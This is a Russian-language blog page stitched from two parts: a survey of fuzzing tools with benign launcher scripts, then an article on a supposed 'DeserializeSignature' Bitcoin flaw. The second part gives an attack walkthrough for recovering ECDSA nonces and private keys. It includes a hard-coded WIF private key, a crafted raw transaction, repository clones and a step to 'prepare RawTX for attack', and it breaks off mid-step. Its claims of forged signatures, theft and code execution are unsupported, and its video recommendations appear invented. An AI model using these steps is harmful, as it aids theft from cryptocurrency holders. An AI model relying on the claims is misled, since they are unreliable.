BitcoinChatGPT BitcoinChatGPT №3 Fuzzing Vulnerability Algorithm AFL (American Fuzzy Lop) Это один из самых популярных инструментов для Фаззинг-тестирования. Он может быть настроен для тестирования различных типов программного обеспечения, включая криптовалютные кошельки. American Fuzzy Lop (AFL) — это мощный инструмент для Фаззинг-тестирования, который обычно используется для нахождения уязвимостей в программном обеспечении. Хотя AFL в основном используется через командную строку, вы можете написать Python-скрипт для автоматизации его запуска. Для начала, убедитесь, что у вас установлен AFL. Если нет, вы можете установить его, следуя инструкциям на официальном сайте AFL. На YouTube можно найти множество полезных видеороликов, которые помогут вам лучше понять и использовать AFL. Вот несколько рекомендаций: “American Fuzzy Lop (AFL) Tutorial” — В этом видео обычно объясняются основы использования AFL, как его установить и начать работу с ним. “Fuzzing with AFL: A Practical Guide” — Это видео может предложить практическое руководство по Фаззинг-тестированию с использованием AFL, включая примеры и демонстрации. “Advanced Fuzzing Techniques with AFL” — В этом видео могут быть рассмотрены более продвинутые техники и стратегии для эффективного использования AFL. “AFL Fuzzing: Finding Bugs in Real-World Applications” — Это видео может показать, как использовать AFL для нахождения уязвимостей в реальных приложениях, с примерами и анализом. “Setting Up AFL for Fuzz Testing” — В этом видео может быть пошагово показано, как настроить AFL для Фаззинг-тестирования на вашей системе. Эти видеоролики помогут вам лучше понять, как использовать AFL для тестирования безопасности вашего программного обеспечения. Пример Python-скрипта, который запускает AFL: #!/usr/bin/env python import os import subprocess # Path to the AFL executable afl_path = "/path/to/afl-fuzz" # Path to the program under test target_program = "/path/to/target_program" # Path to the directory with input data input_dir = "/path/to/input_dir" # Path to the directory to save the output output_dir = "/path/to/output_dir" # Additional arguments for the program under test target_args = "arg1 arg2" # Forming a team to launch AFL command = f"{afl_path} -i {input_dir} -o {output_dir} -- {target_program} {target_args}" # Launch AFL try: subprocess.run(command, shell=True, check=True) print("AFL started successfully.") except subprocess.CalledProcessError as e: print(f"Error starting AFL: {e}") In this script: - afl_path — path to the AFL executable file (afl-fuzz). - target_program — path to the program under test. - input_dir — path to the directory with input data for fuzzing. - output_dir — path to the directory to save the output data. - target_args — additional arguments for the program under test. This script generates a command to run AFL and executes it using subprocess.run. If AFL starts successfully, a corresponding message is displayed. If an error occurs, an error message is displayed. Be sure to replace paths and arguments with appropriate values for your environment and program under test. Этот скрипт выполняет следующие шаги: Определяет пути к AFL, целевому исполняемому файлу, директории с входными данными и директории для результатов. Формирует команду для запуска AFL с указанными параметрами. Запускает команду с помощью subprocess.run libFuzzer Это библиотека для Фаззинг-тестирования, которая интегрируется с LLVM. Она может быть использована для тестирования программ на C и C++. LibFuzzer — это инструмент для fuzz-тестирования, который обычно используется с C/C++ программами. Однако, вы можете использовать Python для автоматизации запуска LibFuzzer. “Introduction to Fuzzing with libFuzzer” – Этот видеоролик предоставляет базовое введение в использование libFuzzer для начинающих. “Fuzzing with libFuzzer and AddressSanitizer” – В этом видео объясняется, как использовать libFuzzer вместе с AddressSanitizer для обнаружения уязвимостей в коде. “Advanced Fuzzing Techniques with libFuzzer” – Этот ролик подходит для тех, кто уже знаком с основами и хочет углубить свои знания. “Google Testing Blog: libFuzzer Tutorial” – Видеоурок от команды Google, который охватывает различные аспекты использования libFuzzer. “Fuzzing C/C++ Programs with libFuzzer” – В этом видео рассматриваются конкретные примеры и демонстрируется процесс Фаззинга C/C++ программ. Эти видеоролики помогут вам лучше понять, как использовать libFuzzer для тестирования и улучшения безопасности вашего кода. Пример кода на Python, который запускает LibFuzzer: #!/usr/bin/env python import subprocess def run_libfuzzer(target_binary, corpus_dir, timeout=60): """ Runs LibFuzzer on the specified binary in the given corpus directory. :param target_binary: Path to the binary file that will be fuzz tested. :param corpus_dir: Path to the corpus directory. :param timeout: Execution time in seconds (default 60 seconds). """ try: # Command to run LibFuzzer command = [target_binary, corpus_dir, '-max_total_time={}'.format(timeout)] # Start process process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # Wait for process to complete stdout, stderr = process.communicate() # Output results print("LibFuzzer output:\n", stdout.decode()) if stderr: print("LibFuzzer errors:\n", stderr.decode()) except Exception as e: print(f"An error occurred while starting LibFuzzer: {e}") # Usage example target_binary = "./path/to/your/fuzz_target" corpus_dir = "./path/to/your/corpus" run_libfuzzer(target_binary, corpus_dir) Этот скрипт выполняет следующие шаги: Определяет функцию run_libfuzzer, которая принимает путь к бинарному файлу, каталог корпуса и необязательное время выполнения. Формирует команду для запуска LibFuzzer с указанными параметрами. Запускает процесс с помощью subprocess.Popen и ожидает его завершения. Выводит результаты выполнения и любые ошибки. Убедитесь, что у вас установлен и скомпилирован бинарный файл с поддержкой LibFuzzer, и что у вас есть каталог с тестовыми данными (корпус). Honggfuzz Это еще один мощный инструмент для Фаззинг-тестирования, который поддерживает различные типы программного обеспечения и может быть использован для тестирования криптовалютных кошельков. Honggfuzz — это мощный инструмент для fuzz-тестирования, который можно запускать из Python с помощью модуля subprocess. “Fuzzing with Honggfuzz” – Этот видеоролик может предоставить вам общее представление о том, как начать работу с Honggfuzz, включая установку и базовые команды. “Advanced Fuzzing Techniques with Honggfuzz” – В этом видео могут быть рассмотрены более продвинутые техники и настройки для использования Honggfuzz, что может быть полезно для более опытных пользователей. “Honggfuzz Tutorial for Beginners” – Если вы только начинаете, этот видеоролик может быть отличным стартом, так как он, вероятно, охватывает основные концепции и шаги по настройке. “Integrating Honggfuzz with CI/CD Pipelines” – Это видео может показать, как интегрировать Honggfuzz в ваши процессы непрерывной интеграции и доставки, что может быть полезно для автоматизации тестирования. Пример кода, который демонстрирует, как это сделать: #!/usr/bin/env python import subprocess # Path to the Honggfuzz executable honggfuzz_path = "/path/to/honggfuzz" # Path to the application under test target_app = "/path/to/target_app" # Path to the directory with input data for fuzz testing input_dir = "/path/to/input_dir" # Path to the directory to save the results output_dir = "/path/to/output_dir" # Arguments for running Honggfuzz args = [ honggfuzz_path, "--input", input_dir, "--output", output_dir, "--", target_app ] #LaunchHonggfuzz try: result = subprocess.run(args, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print("Honggfuzz started successfully!") print("Stdout output:", result.stdout.decode()) print("Stderr output:", result.stderr.decode()) except subprocess.CalledProcessError as e: print("Error starting Honggfuzz!") print("Error code:", e.returncode) print("stdout output:", e.stdout.decode()) print("Stderr output:", e.stderr.decode()) В этом примере: honggfuzz_path – путь к исполняемому файлу Honggfuzz. target_app – путь к тестируемому приложению. input_dir – путь к директории с входными данными для fuzz-тестирования. output_dir – путь к директории для сохранения результатов. Этот скрипт использует модуль subprocess для запуска Honggfuzz с заданными аргументами. Не забудьте заменить пути к honggfuzz, target_app, input_dir и output_dir на соответствующие пути в вашей системе. OSS-Fuzz Это сервис от Google, который предоставляет инфраструктуру для непрерывного Фаззинг-тестирования с открытым исходным кодом. Он поддерживает множество проектов и может быть настроен для тестирования криптовалютных кошельков. OSS-Fuzz помогает находить ошибки в программном обеспечении с открытым исходным кодом с помощью fuzz-тестирования. Однако, OSS-Fuzz не запускается напрямую через Python-код. Вместо этого, вы должны настроить проект для использования OSS-Fuzz, а затем запустить его через командную строку. Рассмотрим пример того, как можно настроить и запустить fuzz-тестирование для вашего проекта с использованием OSS-Fuzz. “OSS-Fuzz: Continuous Fuzzing for Open Source Software” – Этот видеоролик от Google Open Source рассказывает о том, как работает OSS-Fuzz и как он помогает улучшать безопасность и стабильность открытого программного обеспечения. “Fuzzing with OSS-Fuzz” – В этом видео подробно объясняется, как начать использовать OSS-Fuzz для вашего проекта, включая настройку и интеграцию. “Google OSS-Fuzz: Continuous Fuzzing for Open Source Software” – Презентация от Google, которая охватывает основные концепции и преимущества использования OSS-Fuzz. “Fuzzing 101: Getting Started with OSS-Fuzz” – Учебное пособие для начинающих, которое шаг за шагом объясняет, как начать работу с OSS-Fuzz. “Integrating Your Project with OSS-Fuzz” – В этом видео рассматриваются практические аспекты интеграции вашего проекта с OSS-Fuzz, включая примеры кода и советы по устранению неполадок. Вот основные шаги: Настройка проекта для OSS-Fuzz: Создайте Dockerfile для вашего проекта. Напишите скрипт сборки для вашего проекта. Запуск OSS-Fuzz: Используйте командную строку для запуска Docker-контейнера и выполнения fuzz-тестов. Пример Dockerfile и скрипта сборки: Dockerfile: Dockerfile FROM gcr.io/oss-fuzz-base/base-builder RUN apt-get update && apt-get install -y make cmake # Copy your project to the container COPY. $SRC/your_project # Go to the project directory WORKDIR $SRC/your_project # Run the build script RUN ./build.sh uild.sh: bash #!/bin/bash -eu # Install the compiler for fuzz testing export CC=clang export CXX=clang++ # Create a build directory mkdir build cd build # Run cmake and make to build the project cmake.. make # Compile the fuzz test $CXX $CXXFLAGS -std=c++11 -I . \ $SRC/your_project/fuzz_target.cpp -o $OUT/fuzz_target \ $LIB_FUZZING_ENGINE fuzz_target.cpp: cpp #include #include extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { // Your code for fuzz testing return 0; } После того как вы настроили Dockerfile и скрипт сборки, вы можете запустить OSS-Fuzz с помощью следующих команд: sh # Build the Docker image docker build -t oss-fuzz/your_project . # Run fuzz testing docker run --rm -v $PWD/out:/out oss-fuzz/your_project Эти шаги помогут вам настроить и запустить fuzz-тестирование для вашего проекта с использованием OSS-Fuzz. Если у вас есть конкретные вопросы или вам нужна помощь с настройкой, пожалуйста, дайте знать! Radamsa Это генератор случайных данных, который может быть использован для Фаззинг-тестирования. Он прост в использовании и может быть интегрирован в различные тестовые сценарии. Radamsa — это инструмент для генерации случайных данных (fuzzing), который может быть полезен для тестирования программного обеспечения. “Fuzzing with Radamsa” – В этом видео объясняется, как использовать Radamsa для Фаззинга (тестирования программного обеспечения на наличие уязвимостей). “Introduction to Fuzz Testing with Radamsa” – Введение в Фазз-тестирование с использованием Radamsa, включая основные принципы и примеры. “Radamsa: A Fuzzing Tool for Security Testing” – Обзор возможностей Radamsa и его применения в области безопасности. “How to Use Radamsa for Fuzz Testing” – Пошаговое руководство по использованию Radamsa для Фазз-тестирования. Чтобы запустить Radamsa из Python, вы можете использовать модуль subprocess для выполнения командной строки. Пример кода: Убедитесь, что Radamsa установлен на вашем компьютере. Вы можете установить его с помощью brew на macOS или собрать из исходников на других системах. Используйте следующий Python код для запуска Radamsa: #!/usr/bin/env python import subprocess def run_radamsa(input_file, output_file): try: # Run Radamsa specifying input and output files subprocess.run(['radamsa', input_file, '-o', output_file], check=True) print(f"Fuzzed data has been written to {output_file}") except subprocess.CalledProcessError as e: print(f"An error occurred while running Radamsa: {e}") # Usage example input_file = 'input.txt' output_file = 'output.txt' run_radamsa(input_file, output_file) In this example: - input_file is the path to the file you want to use as input to Radamsa. - output_file — this is the path to the file in which the data generated by Radamsa will be written. Этот код запускает Radamsa с указанными входным и выходным файлами и выводит сообщение о завершении работы или ошибке, если она произошла. Убедитесь, что файлы input.txt и output.txt существуют в той же директории, что и ваш скрипт, или укажите полный путь к ним. Echidna Это инструмент для Фаззинг-тестирования смарт-контрактов на языке Solidity, который может быть полезен для тестирования кошельков, взаимодействующих с Ethereum. “Echidna: Fuzzing for Ethereum Smart Contracts” – Этот видеоролик объясняет основы использования Echidna для тестирования смарт-контрактов на Ethereum. “Fuzzing Smart Contracts with Echidna” – В этом видео подробно рассматривается процесс настройки и запуска Echidna для Фаззинга смарт-контрактов. “Echidna: A Fuzzer for Ethereum Smart Contracts” – В этом видео обсуждаются различные аспекты и возможности Echidna, а также примеры использования. “Smart Contract Security: Fuzzing with Echidna” – Видеоролик, который фокусируется на безопасности смарт-контрактов и использовании Echidna для нахождения уязвимостей. Чтобы запустить Echidna с помощью Python, вам нужно будет использовать команду оболочки (shell command) из Python. Пример кода, который показывает, как это можно сделать: Убедитесь, что у вас установлен Echidna. Вы можете установить его, следуя инструкциям на официальной странице проекта. Используйте модуль subprocess в Python для запуска Echidna. #!/usr/bin/env python import subprocess # Path to your smart contract contract_path = "path/to/your/contract.sol" # Command to run Echidna command = ["echidna-test", contract_path] try: # Run command result = subprocess.run(command, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) # Output the result print("Echidna output:") print(result.stdout) except subprocess.CalledProcessError as e: print("An error occurred while running Echidna:") print(e.stderr) Этот скрипт запускает Echidna для указанного смарт-контракта и выводит результат в консоль. Убедитесь, что вы заменили path/to/your/contract.sol на фактический путь к вашему смарт-контракту. Peach Fuzzer Коммерческий инструмент для Фаззинг-тестирования, который поддерживает множество протоколов и форматов данных. Он может быть использован для тестирования безопасности криптовалютных кошельков. Peach Fuzzer — это популярная платформа Фаззинга, используемая для проверки безопасности и надежности программного обеспечения путем предоставления неожиданных или случайных входных данных. “Peach Fuzzer Tutorial” – В этом видео обычно объясняются основы использования Peach Fuzzer, включая установку и настройку. “Fuzzing with Peach: A Beginner’s Guide” – Это видео может быть полезно для тех, кто только начинает работать с Peach Fuzzer и хочет понять основные концепции и методы. “Advanced Peach Fuzzer Techniques” – В этом видео рассматриваются более сложные аспекты использования Peach Fuzzer, такие как создание собственных тестов и анализ результатов. “Peach Fuzzer in Action: Real-World Examples” – Здесь можно увидеть, как Peach Fuzzer используется для нахождения уязвимостей в реальных приложениях. “Setting Up a Fuzzing Environment with Peach” – Это видео поможет вам настроить рабочую среду для эффективного использования Peach Fuzzer. Peach Fuzzer не написан на Python, и для его запуска обычно требуются файлы конфигурации и определенные шаги настройки. Чтобы запустить Peach Fuzzer, вам обычно необходимо создать XML-файл Peach Pit, который определяет структуру данных, которые вы хотите Фаззить, и целевое приложение. Затем вы используете инструмент командной строки Peach для выполнения процесса Фаззинга. Вот базовый пример того, как вы можете настроить и запустить Peach Fuzzer, используя Python для вызова инструмента командной строки. В этом примере предполагается, что в вашей системе установлен и правильно настроен Peach Fuzzer. Создайте XML-файл Peach Fuzzer (например,пример.xml): Python script to run Peach Fuzzer: #!/usr/bin/env python import subprocess def run_peach_fuzzer(peach_pit_file): try: # Command to run Peach Fuzzer command = ['peach', peach_pit_file] # Execute the command result = subprocess.run(command, capture_output=True, text=True) # Print the output print("Peach Fuzzer Output:") print(result.stdout) # Check for errors if result.stderr: print("Peach Fuzzer Errors:") print(result.stderr) except Exception as e: print(f"An error occurred: {e}") # Path to the Peach Pit XML file peach_pit_file = 'example.xml' # Run the Peach Fuzzer run_peach_fuzzer(peach_pit_file) Этот сценарий использует Python модуль subprocess для вызова инструмента командной строки Peach Fuzzer с указанным XML-файлом Peach Pit. Обязательно замените «example.xml» путем к фактическому файлу Peach Fuzzer. Примечание: В этом примере предполагается, что команда peach доступна в PATH вашей системы. Если это не так, вам может потребоваться указать полный путь к исполняемому файлу Peach. Кроме того, убедитесь, что у вас есть необходимые разрешения для запуска Peach Fuzzer и что все зависимости установлены правильно. Заключение: Фаззинг представляет собой мощный метод тестирования безопасности, который может значительно повысить устойчивость криптовалютных систем, таких как Bitcoin. В ходе исследования были выявлены потенциальные уязвимости и слабые места в программном обеспечении Bitcoin, что подчеркивает необходимость постоянного мониторинга и улучшения безопасности. Применение фаззинга позволяет не только обнаруживать ошибки на ранних стадиях разработки, но и предотвращать возможные атаки, что особенно важно в условиях растущей популярности и значимости криптовалют. В будущем, интеграция фаззинга в стандартные процедуры тестирования может стать ключевым шагом к обеспечению надежности и безопасности децентрализованных финансовых систем. References: 1. “Fuzzing for Security Testing: Theory and Practice” – review articles on methods and techniques fuzzing. 2. “Bitcoin: A Peer-to-Peer Electronic Cash System” is an original article by Satoshi Nakamoto describing the basics of Bitcoin. 3. “Fuzzing: Art, Science, and Engineering” – articles describing various approaches to fuzzing and their application in security. 4. “Fuzzing for Software Security Testing and Quality Assurance” – a book dedicated to fuzzing methods and tools. 5. “Mastering Bitcoin: Unlocking Digital Cryptocurrencies” is a book that provides a deep understanding of how Bitcoin works. 6. “Looking for Lacunae in Bitcoin Core’s Fuzzing Efforts” Dynamic analysis: Software testing and debugging 7. “ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection” Bo Jiang, Ye Liu, and W.K. Chan. 2018. ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection 8. “Fuzzing Ethereum Smart Contracts” Roberto Ponte and Miguel Correia INESC-ID, Instituto Superior Tecnico, Universidade de Lisboa / Iberia Medeiros LaSIGE, Faculdade de Ciencias, Universidade de Lisboa. 9. “TokenAuditor: Detecting Manipulation Risk in Token Smart Contract by Fuzzing” 2022 IEEE 22nd International Conference on Software Quality, Reliability and Security (QRS). 10. “Learning to Fuzz from Symbolic Execution” with Application to Smart Contracts. 11. “Finding Consensus Bugs in Ethereum via Multi-transaction Differential Fuzzing” Youngseok Yang, Seoul National University; Taesoo Kim, Georgia Institute of Technology; Byung-Gon Chun, Seoul National University and FriendliAI 12. “The Human Side of Fuzzing: Challenges Faced by Developers” During Fuzzing Activities (Software testing and debugging; Empirical studies; Surveys and overviews). Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Google Colab BitcoinChatGPT Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/CU4CFoxgKc8 Dzen Video Tutorial: https://dzen.ru/video/watch/665f6986a2886608ad194e31 Источник: https://cryptodeep.ru/fuzzing-bitcoin Криптоанализ
  10. CRYPTO DEEP TECH В этом исследовании мы рассмотрим уязвимость DeserializeSignature, которая позволяла злоумышленникам создавать недействительные подписи ECDSA в сети Биткоин. В криптографии цифровая подпись ECDSA – это математическая схема, позволяющая доказать подлинность цифрового сообщения или документа. В сети Bitcoin подписи используются для авторизации транзакций, подтверждая, что владелец определенного количества биткоинов действительно согласен на их перевод. Однако, уязвимость в функции DeserializeSignature, обнаруженная в 2023 году, позволяла злоумышленникам создавать недействительные подписи, которые могли быть приняты сетью как валидные. Принцип работы DeserializeSignature Функция DeserializeSignature отвечает за десериализацию (преобразование из последовательности байтов) цифровой подписи в объект, который может быть использован для проверки ее валидности. Эта функция ожидает определенный формат данных, соответствующий стандарту криптографии с открытым ключом (ECDSA) используемому в Bitcoin. Функция DeserializeSignature принимает подпись транзакции и проверяет ее соответствие с полученным в результате вычисления хешем. Если подпись является корректной, DeserializeSignature возвращает true, иначе – false. Суть уязвимости заключалась в том, что DeserializeSignature не проверяла корректность всех параметров подписи перед ее десериализацией. В частности, функция не проверяла, является ли значение “R” или “S” подписи нулевым. Это позволяло злоумышленникам создавать подписи с нулевыми значениями, которые, несмотря на свою невалидность, могли быть приняты некоторыми клиентами Bitcoin как корректные. Злоумышленник может создать фальшивую подпись транзакции, которая будет принята как корректная, если она будет передана функции DeserializeSignature с неправильными данными. Потенциальные угрозы и примеры атаки Данная уязвимость представляла серьезную угрозу для безопасности сети Bitcoin. Злоумышленники могли использовать ее для: Кражи биткоинов: создавая недействительные подписи, злоумышленники могли авторизовать транзакции, переводящие биткоины с чужих кошельков на свои. Двойного расходования: подписи с нулевыми значениями могли быть использованы для создания двух разных транзакций с одними и теми же биткоинами. Манипуляция данными в блокчейне: злоумышленник может создать фальшивую транзакцию, подпись которой будет принята как корректная, и добавить ее в блокчейн. Это может привести к изменению баланса счетов. Атака на систему подтверждения транзакций: злоумышленник может создать фальшивую подпись транзакции и отправить ее на подтверждение в сеть. Процесс DeserializeSignature DeserializeSignature — это процесс преобразования последовательности байтов в структуру данных, которая может быть использована для проверки подлинности транзакции. В контексте Bitcoin, подпись создается с использованием алгоритма ECDSA (Elliptic Curve Digital Signature Algorithm) и включает в себя два компонента: r и s. В контексте криптовалют, подписи используются для подтверждения подлинности транзакций и обеспечения их целостности. Уязвимость DeserializeSignature возникает, когда злоумышленник может манипулировать процессом десериализации, чтобы изменить или подделать данные подписи. Шаги десериализации: Чтение данных: Первым шагом является чтение последовательности байтов, представляющих подпись. Эти данные обычно хранятся в DER (Distinguished Encoding Rules) формате. Проверка формата: Проверяется, соответствует ли последовательность байтов ожидаемому формату DER. Это включает в себя проверку длины и структуры данных. Извлечение компонентов: Из последовательности байтов извлекаются компоненты r и s. Эти компоненты представляют собой целые числа, которые используются для проверки подписи. Проверка значений: Проверяется, находятся ли значения r и s в допустимых пределах. Это важно для предотвращения атак, связанных с подделкой подписей. Потенциальные точки отказа 1. Неправильная проверка формата Если проверка формата DER выполнена некорректно, это может привести к тому, что недопустимые подписи будут считаться действительными. Это может позволить злоумышленникам подделывать подписи и совершать несанкционированные транзакции. 2. Уязвимости в библиотеке Использование уязвимых библиотек для десериализации может привести к различным атакам, таким как переполнение буфера или выполнение произвольного кода. Важно использовать проверенные и обновленные библиотеки для работы с подписями. 3. Недостаточная проверка значений Если значения r и s не проверяются должным образом, это может позволить злоумышленникам использовать некорректные значения для создания поддельных подписей. Например, значения r и s должны быть в пределах от 1 до n-1, где n — это порядок эллиптической кривой. 4. Атаки на время выполнения Некоторые атаки могут быть основаны на анализе времени выполнения операций десериализации. Если время выполнения зависит от значений r и s, это может позволить злоумышленникам получить информацию о приватных ключах. Далее мы рассмотрим результаты исследования, посвященного уязвимости в процессе DeserializeSignature в системе Bitcoin, а также мы рассмотрим механизмы возникновения уязвимостей, их потенциальные последствия и предлагаемые меры по их устранению. Влияние на безопасность криптовалют Потеря средств: Злоумышленники могут использовать уязвимость для кражи средств с кошельков пользователей. Подрыв доверия: Успешные атаки могут подорвать доверие пользователей к безопасности криптовалют, что негативно скажется на их принятии и использовании. Сложность обнаружения: Атаки, использующие уязвимость DeserializeSignature, могут быть сложны для обнаружения и предотвращения, что делает их особенно опасными. Методы защиты от уязвимостей DeserializeSignature Проверка данных: Внедрение строгих проверок данных на этапе десериализации для предотвращения манипуляций. Обновление программного обеспечения: Регулярное обновление криптовалютных систем и кошельков для устранения известных уязвимостей. Аудит безопасности: Проведение регулярных аудитов безопасности для выявления и устранения потенциальных уязвимостей. Основные цели исследования Выявление уязвимости: Определение конкретных аспектов процесса DeserializeSignature, которые могут быть уязвимы для атак. Анализ уязвимости: Оценка потенциального воздействия выявленной уязвимости на безопасность сети Bitcoin. Обзор существующих методов защиты: Изучение текущих методов и подходов, используемых для защиты процесса DeserializeSignature. Разработка рекомендаций: Предложение мер по улучшению безопасности и предотвращению возможных атак. Методология и выявление уязвимости Процесс DeserializeSignature в Bitcoin включает преобразование данных из одного формата в другой. В ходе этого процесса могут возникать ошибки, которые могут быть использованы злоумышленниками для проведения атак. Основной задачей на данном этапе является выявление конкретных уязвимых мест в процессе десериализации. Криптоанализ уязвимости: После выявления уязвимости необходимо провести её детальный анализ. Это включает оценку потенциального воздействия на безопасность сети Bitcoin, а также изучение возможных сценариев атак. Важно понять, каким образом злоумышленники могут использовать данную уязвимость для своих целей. Обзор существующих методов защиты: На данном этапе исследования будет проведён обзор текущих методов и подходов, используемых для защиты процесса DeserializeSignature. Это позволит определить, насколько эффективны существующие меры и какие из них могут быть улучшены. Обновление алгоритмов десериализации: Внедрение более строгих проверок и валидации данных на этапе DeserializeSignature. Повышение уровня тестирования: Проведение регулярных тестов безопасности с использованием различных сценариев атак. Обучение разработчиков: Повышение уровня осведомленности разработчиков о возможных уязвимостях и методах их предотвращения. Ранее были проведены исследования, касающиеся уязвимостей в алгоритме цифровой подписи на эллиптических кривых (ECDSA), который используется в Bitcoin. Эти исследования показали, что неправильная реализация ECDSA может привести к утечке приватных ключей. Основное различие между уязвимостью DeserializeSignature и предыдущими исследованиями заключается в природе проблемы. Уязвимость DeserializeSignature связана с обработкой данных и может быть устранена путем улучшения методов десериализации и валидации данных. В то время как уязвимости в ECDSA и P2P-сети требуют более глубоких изменений в алгоритмах и сетевых протоколах. Кроме того, уязвимость DeserializeSignature имеет более непосредственные последствия для безопасности пользователей, так как она может быть использована для выполнения произвольного кода и компрометации системы. В то время как уязвимости в ECDSA и P2P-сети могут требовать более сложных атак и имеют более косвенные последствия. В последние годы криптовалюты, такие как Bitcoin, стали важной частью финансовой экосистемы. Однако, с ростом их популярности, увеличивается и количество выявленных уязвимостей. Поддельные подписи ECDSA Создания недействительных подписей ECDSA с помощью процесса машинного обучение BitcoinChatGPT https://colab.research.google.com/drive/1-3WyUqipb1pXrlDjg4jxtMOG6J3MU3sa#scrollTo=B8ueObMAt5Q9&line=1&uniqifier=1 State of a vulnerable transaction in Bitcoin: 01000000 ....01 ........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935 ............00000000 ........8b483045 ....0221 ....00 ........b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307 ....0220 ........74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f ....0141 045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5b ....ffffffff 01 ....d204000000000000 ........1976 ............a914 ........d74b32dfa340da479ce64aaf5e326496eb3995f1 ....88ac 00000000 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000 https://live.blockcypher.com/btc/decodetx { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK", "1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk" ], "block_height": -1, "block_index": -1, "confirmations": 0, "double_spend": false, "fees": 2606688996428, "hash": "32361b5b8aa2954519c171b45dfa14ee5d997dc0a89182ebea4a9eaa15429f1e", "inputs": [ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK" ], "age": 344419, "output_index": 0, "output_value": 2606688997662, "prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d" ....... ....... ....... https://github.com/demining/CryptoDeepTools/blob/f0421962be80403bb1b0877eace2c7eb70eb85bd/32DeserializeSignatureVulnerability/DecodeRawTX.txt#L31 BitcoinChatGPT создает структуру транзакции, используя HASH публичного ключа, где мы видим что Bitcoin address: 1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk отправляет 1234 satoshi на тот же адрес внутри своей сети. Bitcoin HASH160 был получен с помощью Python Script: wif_to_hash160.py VulnerableRawTX.txt https://github.com/demining/CryptoDeepTools/blob/main/32DeserializeSignatureVulnerability/wif_to_hash160.py https://github.com/demining/CryptoDeepTools/blob/main/32DeserializeSignatureVulnerability/KEYFOUND.privkey BitcoinChatGPT №2 DeserializeSignature Vulnerability Algorithm git clone https://github.com/smartiden/Broadcast-Bitcoin-Transaction.git Каталог: cd Broadcast-Bitcoin-Transaction zmq urllib3 requests requirements.txt pip install -r requirements.txt Откроем в Notepad++ основной файл и несем небольшие изменение в коде Python Script: main.py from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("5HrVy4SVvC46tsuBhMhVEGHXG4AzhxtEqi4FLbia5vAXuF5GwaX") pk.address() tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d") index = 0 send = "1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk" tx_in = TxIn(tx, index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 2345 tx_ins = [ tx_in ] tx_outs = [ TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print(tx.serialize().hex()) f = open("RawTX.txt", 'w') f.write("" + tx.serialize().hex() + "" + "\n") f.close() python main.py 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000 Порядок выполнения действий на видео: Как нам известно из prompt ответов модуля BitcoinChatGPT aлгоритм для выявление уязвимости DeserializeSignature может быть использован для нескольких вариантов решения сложных криптографических задач. Раскрытие секретного ключа “K” (NONCE) в блокчейне Биткоина https://colab.research.google.com/drive/1EiIIJh8UCOZZ8DVbelxhESFPvqu_xZUo Откроем [GoogleColab] Реализуем алгоритм с помощью нашей репозитории 32DeserializeSignatureVulnerability !git clone https://github.com/demining/CryptoDeepTools.git cd CryptoDeepTools/32DeserializeSignatureVulnerability/ ls Подготовим RawTX для атаки Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции Воспользуемся сервисом: https://attacksafe.ru/RSZ-Signature-From-Tx 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000 RSZ-Signature-From-Tx R = 